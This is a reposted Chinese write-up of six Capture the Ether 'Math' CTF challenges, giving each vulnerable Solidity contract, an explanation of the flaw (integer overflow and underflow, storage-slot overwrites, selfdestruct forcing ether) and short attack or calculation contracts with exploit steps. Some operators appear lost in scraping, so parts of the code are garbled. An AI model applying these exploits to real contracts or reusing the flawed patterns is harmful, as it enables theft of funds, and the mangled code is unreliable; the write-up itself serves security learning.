• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Capture the Ether(Math)

武飞扬头像
Ke456839
帮助2

Math

这个栏目考察的都是一些数学方面的知识

第一题:Token Sale

代码:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract TokenSaleChallenge {
  3.  
    mapping(address => uint256) public balanceOf;
  4.  
    uint256 constant PRICE_PER_TOKEN = 1 ether;
  5.  
    function TokenSaleChallenge(address _player) public payable {
  6.  
    require(msg.value == 1 ether);
  7.  
    }
  8.  
    function isComplete() public view returns (bool) {
  9.  
    return address(this).balance < 1 ether;
  10.  
    }
  11.  
    function buy(uint256 numTokens) public payable {
  12.  
    require(msg.value == numTokens * PRICE_PER_TOKEN);
  13.  
    balanceOf[msg.sender] = numTokens;
  14.  
    }
  15.  
    function sell(uint256 numTokens) public {
  16.  
    require(balanceOf[msg.sender] >= numTokens);
  17.  
    balanceOf[msg.sender] -= numTokens;
  18.  
    msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
  19.  
    }
  20.  
    }
学新通

isComplete函数要求我们本合约的余额要小于 1 ether,这个代码提供了 buy 和 sell 函数,让我们可以以 1 numToken :1 ether 的汇率购买和卖出 numToken 。我们发现在 buy 函数中有这么一行代码:

require(msg.value == numTokens * PRICE_PER_TOKEN);

 我们知道 EVM 虚拟机最大只有 256 位,即最大值为 2 ** 256 - 1,所以当我们输入的numTokens是一个很大的值的时候,就会溢出,让我们用小于一个 ether 的价格买到一个 Token。

在remix中我们可以通过这样的代码来计算:

  1.  
    pragma solidity ^0.8.0;
  2.  
    contract attack{
  3.  
    uint256 public max2;
  4.  
    uint256 public max10;
  5.  
    uint256 public numToken;
  6.  
    uint256 public value;
  7.  
    function setNumber() public {
  8.  
    max2 = 2**256 - 1;
  9.  
    max10 = 10**18;
  10.  
    }
  11.  
    function getResult() public {
  12.  
    numToken = max2 / max10 1;
  13.  
    value = 10**18 - max2 % 10**18 - 1;
  14.  
    }
  15.  
    }
学新通

学新通

在目标合约中调用 buy 函数,输入参数为我们算出来的 numToken,msg.value 是我们算出来的value:

学新通

 此时我们地址的余额就很多了:

学新通

调用 sell 函数取出 1 ether 即可:

学新通

第二题:Token whale

代码:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract TokenWhaleChallenge {
  3.  
    address player;
  4.  
    uint256 public totalSupply;
  5.  
    mapping(address => uint256) public balanceOf;
  6.  
    mapping(address => mapping(address => uint256)) public allowance;
  7.  
    string public name = "Simple ERC20 Token";
  8.  
    string public symbol = "SET";
  9.  
    uint8 public decimals = 18;
  10.  
    function TokenWhaleChallenge(address _player) public {
  11.  
    player = _player;
  12.  
    totalSupply = 1000;
  13.  
    balanceOf[player] = 1000;
  14.  
    }
  15.  
    function isComplete() public view returns (bool) {
  16.  
    return balanceOf[player] >= 1000000;
  17.  
    }
  18.  
    event Transfer(address indexed from, address indexed to, uint256 value);
  19.  
    function _transfer(address to, uint256 value) internal {
  20.  
    balanceOf[msg.sender] -= value;
  21.  
    balanceOf[to] = value;
  22.  
    emit Transfer(msg.sender, to, value);
  23.  
    }
  24.  
    function transfer(address to, uint256 value) public {
  25.  
    require(balanceOf[msg.sender] >= value);
  26.  
    require(balanceOf[to] value >= balanceOf[to]);
  27.  
    _transfer(to, value);
  28.  
    }
  29.  
    event Approval(address indexed owner, address indexed spender, uint256 value);
  30.  
    function approve(address spender, uint256 value) public {
  31.  
    allowance[msg.sender][spender] = value;
  32.  
    emit Approval(msg.sender, spender, value);
  33.  
    }
  34.  
    function transferFrom(address from, address to, uint256 value) public {
  35.  
    require(balanceOf[from] >= value);
  36.  
    require(balanceOf[to] value >= balanceOf[to]);
  37.  
    require(allowance[from][msg.sender] >= value);
  38.  
    allowance[from][msg.sender] -= value;
  39.  
    _transfer(to, value);
  40.  
    }
  41.  
    }
学新通

isComplete 函数要求 player 的余额大于 1000000,观察代码,我们会发现漏洞就在合约的 _transfer 函数里:

  1.  
    function _transfer(address to, uint256 value) internal {
  2.  
    balanceOf[msg.sender] -= value;
  3.  
    balanceOf[to] = value;
  4.  
    emit Transfer(msg.sender, to, value);
  5.  
    }

我会发现,执行 _transfer 函数时,它扣除的是 msg.sender 的钱,而不是 from 地址的钱,通过这个漏洞,我们可以使用三个用户来增加 player 的钱:

用户 A:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

用户 B:0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

用户 C:0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db

player 设置为用户 A

1. 切换到用户 A,调用 approve 函数向用户 B 批准金额,金额只要大于 0 小于 2** 256 - 1 即可:

学新通

2. 切换到用户 B,调用 transferFrom 函数向用户 C 转账,金额小于上一步 approve 的金额即可。因为此时用户 B 的金额为 0,减少之后就会下溢变成一个很大的数字:

学新通

3. 调用 transfer 函数向用户 A 转账即可:

学新通

第三题:Retirement fund

代码:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract RetirementFundChallenge {
  3.  
    uint256 startBalance;
  4.  
    address owner = msg.sender;
  5.  
    address beneficiary;
  6.  
    uint256 expiration = now 10 years;
  7.  
    function RetirementFundChallenge(address player) public payable {
  8.  
    require(msg.value == 1 ether);
  9.  
    beneficiary = player;
  10.  
    startBalance = msg.value;
  11.  
    }
  12.  
    function isComplete() public view returns (bool) {
  13.  
    return address(this).balance == 0;
  14.  
    }
  15.  
    function withdraw() public {
  16.  
    require(msg.sender == owner);
  17.  
    if (now < expiration) {
  18.  
    // early withdrawal incurs a 10% penalty
  19.  
    msg.sender.transfer(address(this).balance * 9 / 10);
  20.  
    } else {
  21.  
    msg.sender.transfer(address(this).balance);
  22.  
    }
  23.  
    }
  24.  
    function collectPenalty() public {
  25.  
    require(msg.sender == beneficiary);
  26.  
    uint256 withdrawn = startBalance - address(this).balance;
  27.  
    // an early withdrawal occurred
  28.  
    require(withdrawn > 0);
  29.  
    // penalty is what's left
  30.  
    msg.sender.transfer(address(this).balance);
  31.  
    }
  32.  
    }
学新通

isComplete 函数要求我们本合约的余额为 0,合约部署者在银行中存了 1 ether,并且要 10 年之后才能取出来,如果他在这 10 年里取了钱,就会损失 10% 的钱。合约中的 withdraw 函数只有部署这才能调用,所以我们把重心放在 collectPenalty 函数上,这个函数要求 withdrawn 变量的值大于零,我们就可以把钱取出来,因为 startBalance 是一开始就确认好的,所以我们只能增加合约的钱,但是合约中没有可交易的 fallback 函数也没有 receive 函数,所以我们只能通过 selfdestruct 函数来强制给合约转钱。

攻击合约:

  1.  
    pragma solidity ^0.4.21;
  2.  
    import "./RetirementFund.sol";
  3.  
    contract RetirementFundChallengeAttack {
  4.  
    RetirementFundChallenge challenge;
  5.  
    constructor(address _addr) public {
  6.  
    challenge = RetirementFundChallenge(_addr);
  7.  
    }
  8.  
    function pay() public payable {}
  9.  
    function addToken(address _addr) public {
  10.  
    selfdestruct(_addr);
  11.  
    }
  12.  
    }

先给我们的攻击合约转 1 ether,在调用 addToken 函数,给目标合约转钱,再调用 collectPenalty 函数即可:

学新通

第四题:Mapping

代码:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract MappingChallenge {
  3.  
    bool public isComplete;
  4.  
    uint256[] map;
  5.  
    function set(uint256 key, uint256 value) public {
  6.  
    // Expand dynamic array as needed
  7.  
    if (map.length <= key) {
  8.  
    map.length = key 1;
  9.  
    }
  10.  
    map[key] = value;
  11.  
    }
  12.  
    function get(uint256 key) public view returns (uint256) {
  13.  
    return map[key];
  14.  
    }

isComplete 函数要求我么本合约的金额为 0,这道题的代码很短,合约中没有任何直接修改 isComplete 的函数,我们只能从 map 这个数组入手,我们注意到这行代码:

map.length = key   1;

 在这里 map 的 length 可能会发生溢出,因为 isComplete 存储在 slot0 中,所以我们可以找到一个值,使得其溢出之后刚好覆盖到 slot0。

动态数组 map 占据了 slot1 存储,但里面存储的只是 map 的长度,真正的数据是从 keccak256(slot) index 开始存储的,即:map[0] 存储在 keccak256(1) 处,由此可知,计算公式即为:

map[isComplete] = 2**256 - uint256(keccack256(bytes32(1)))

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract MappingChallenge {
  3.  
    uint256 max2 = 2**256 - 1;
  4.  
    function get() public returns (uint256) {
  5.  
    return max2 - uint256(keccak256(bytes32(1))) 1;
  6.  
    }
  7.  
    }

部署两个合约,调用攻击合约计算出 isComplete 在数组中的位置:

学新通

学新通

 在目标合约中调用 set 函数,输入 key 为我们计算出的值,value 为 1 (true = 1):

学新通

第五题:Donation

代码:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract DonationChallenge {
  3.  
    struct Donation {
  4.  
    uint256 timestamp;
  5.  
    uint256 etherAmount;
  6.  
    }
  7.  
    Donation[] public donations;
  8.  
    address public owner;
  9.  
    function DonationChallenge() public payable {
  10.  
    require(msg.value == 1 ether);
  11.  
     
  12.  
    owner = msg.sender;
  13.  
    }
  14.  
    function isComplete() public view returns (bool) {
  15.  
    return address(this).balance == 0;
  16.  
    }
  17.  
    function donate(uint256 etherAmount) public payable {
  18.  
    // amount is in ether, but msg.value is in wei
  19.  
    uint256 scale = 10**18 * 1 ether;
  20.  
    require(msg.value == etherAmount / scale);
  21.  
    Donation donation;
  22.  
    donation.timestamp = now;
  23.  
    donation.etherAmount = etherAmount;
  24.  
     
  25.  
    donations.push(donation);
  26.  
    }
  27.  
    function withdraw() public {
  28.  
    require(msg.sender == owner);
  29.  
    msg.sender.transfer(address(this).balance);
  30.  
    }
  31.  
    }
学新通

isComplete 函数要求我们本合约的余额为 0,这个合约代码的问题是在于这行代码:

Donation donation;

结构体的声明并没有初始化,就没有赋予存储空间,所以 donation 会存储在 slot0 中,然后为结构体在函数内非显式地初始化的时候会使用storage存储而不是memory,又因为 owner 是存储在 slot1 中的,所以我们就可以通过更改 donation.etherAmount 来覆盖 owner 的值;

注意 etherAmount 是一个 uint256 类型的,所以我们要把调用者的地址显式转换为 uint256 ;同时,donate 函数还要求我们传入的金额要等于 etherAmount / scale ,即 etherAmount  / 10**36:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract DonationChallenge {
  3.  
    function getNum() public view returns(uint256) {
  4.  
    return uint256(msg.sender);
  5.  
    }
  6.  
    function getValue() public view returns(uint256) {
  7.  
    return getNum() / 10**18 / 10**18;
  8.  
    }
  9.  
    }

学新通 

 部署目标合约,调用 donate 函数,输入 etherAmount 为我们 getNum 计算出的值,msg.value 为 getValue 的值:

学新通

 学新通

第六题:Fifty years

代码:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract FiftyYearsChallenge {
  3.  
    struct Contribution {
  4.  
    uint256 amount;
  5.  
    uint256 unlockTimestamp;
  6.  
    }
  7.  
    Contribution[] queue;
  8.  
    uint256 head;
  9.  
    address owner;
  10.  
    function FiftyYearsChallenge(address player) public payable {
  11.  
    require(msg.value == 1 ether);
  12.  
    owner = player;
  13.  
    queue.push(Contribution(msg.value, now 50 years));
  14.  
    }
  15.  
    function isComplete() public view returns (bool) {
  16.  
    return address(this).balance == 0;
  17.  
    }
  18.  
    function upsert(uint256 index, uint256 timestamp) public payable {
  19.  
    require(msg.sender == owner);
  20.  
    if (index >= head && index < queue.length) {
  21.  
    // Update existing contribution amount without updating timestamp.
  22.  
    Contribution storage contribution = queue[index];
  23.  
    contribution.amount = msg.value;
  24.  
    } else {
  25.  
    // Append a new contribution. Require that each contribution unlock
  26.  
    // at least 1 day after the previous one.
  27.  
    require(timestamp >= queue[queue.length - 1].unlockTimestamp 1 days);
  28.  
    contribution.amount = msg.value;
  29.  
    contribution.unlockTimestamp = timestamp;
  30.  
    queue.push(contribution);
  31.  
    }
  32.  
    }
  33.  
    function withdraw(uint256 index) public {
  34.  
    require(msg.sender == owner);
  35.  
    require(now >= queue[index].unlockTimestamp);
  36.  
    // Withdraw this and any earlier contributions.
  37.  
    uint256 total = 0;
  38.  
    for (uint256 i = head; i <= index; i ) {
  39.  
    total = queue[i].amount;
  40.  
    // Reclaim storage.
  41.  
    delete queue[i];
  42.  
    }
  43.  
    // Move the head of the queue forward so we don't have to loop over
  44.  
    // already-withdrawn contributions.
  45.  
    head = index 1;
  46.  
    msg.sender.transfer(total);
  47.  
    }
  48.  
    }
学新通

isComplete 函数要求我们本合约的余额为 0,通过前几关的知识,我们可以知道:

1. upsert 函数中的 contribution.amount 和 contribution.unlockTimestamp 的赋值可以分别覆盖掉 queue数组的长度 和 head 变量。

2. 在 upsert 函数中下面的代码 :

require(timestamp >= queue[queue.length - 1].unlockTimestamp   1 days);

会发生上溢,所以我们找到一个 timestamp 使得其加 1 days 刚好会溢出为 0,我们就可以把取钱的时间设置为 0。

 1. 计算 timestamp(时间是以秒计算的,金额是以 wei 计算的):

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract attack {
  3.  
    uint256 max2 = 2**256 - 1;
  4.  
    uint256 oneDay = 24 * 60 * 60;
  5.  
    function getNum() public returns(uint256) {
  6.  
    return max2 - oneDay 1;
  7.  
    }
  8.  
    }

学新通

 2. 部署目标合约,调用 upsert 函数,输入 index 为 1,timestamp 为我们算出来的值,msg.value = 1 wei :

学新通

3. 再次调用 upsert 函数,输入 index 为 2,timestamp 为 0,msg.value = 2 wei :

学新通

4. 此时就可以调用 withdraw 函数, 输入 index 为 2,取出合约中的钱,但是,当我们调用  withdraw 函数的时候,会发现调用失败,查阅了其他资料后发现:

queue.length 和 amount 是占据的同一块存储,所以当 queue.length 增加的时候 amount 的值也会增加,即当我们 index 等于 1 时,queue 数组进行了 push 操作,queue.length 增加了 1,所以 amount 也加了 1,即 2 wei,所以当我们调用 withdraw 函数时,要取出的钱大于合约中有的钱,就会报错。

  1.  
    - Contribution 0 (made by CTE): contribution.amount == msg.value == 1 ETH;
  2.  
    - Contribution 1 (us): contribution.amount == msg.value == 1 wei `queue.push` == 2 wei;
  3.  
    - Contribution 2 (us): contribution.amount == msg.value == 2 wei `queue.push` == 3 wei;
  4.  
    - Contract total == 1.00...03 ETH, Contributions total == 1.00...05 ETH.

文章链接学新通https://mirror.xyz/kyrers.eth/dSjaARoTkYitJyQA8CFKLrS5CXbRVf-K4ol8Nla-bj0

我们实际的合约金额为1.000000000000000003 ETH,但是我们要取的金额为1.000000000000000005 ETH,那我们怎么办呢?其中一种做法就是写一个自毁合约,来给目标合约转 2 wei 就可以了:

  1.  
    pragma solidity ^0.4.21;
  2.  
    contract attack {
  3.  
    function pay() public payable {}
  4.  
    function addToken(address _addr) public {
  5.  
    selfdestruct(_addr);
  6.  
    }
  7.  
    }

学新通

调用 withdraw 函数即可,输入 index 为 2 即可:

学新通 

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbggec
系列文章
更多 icon
同类精品
更多 icon
继续加载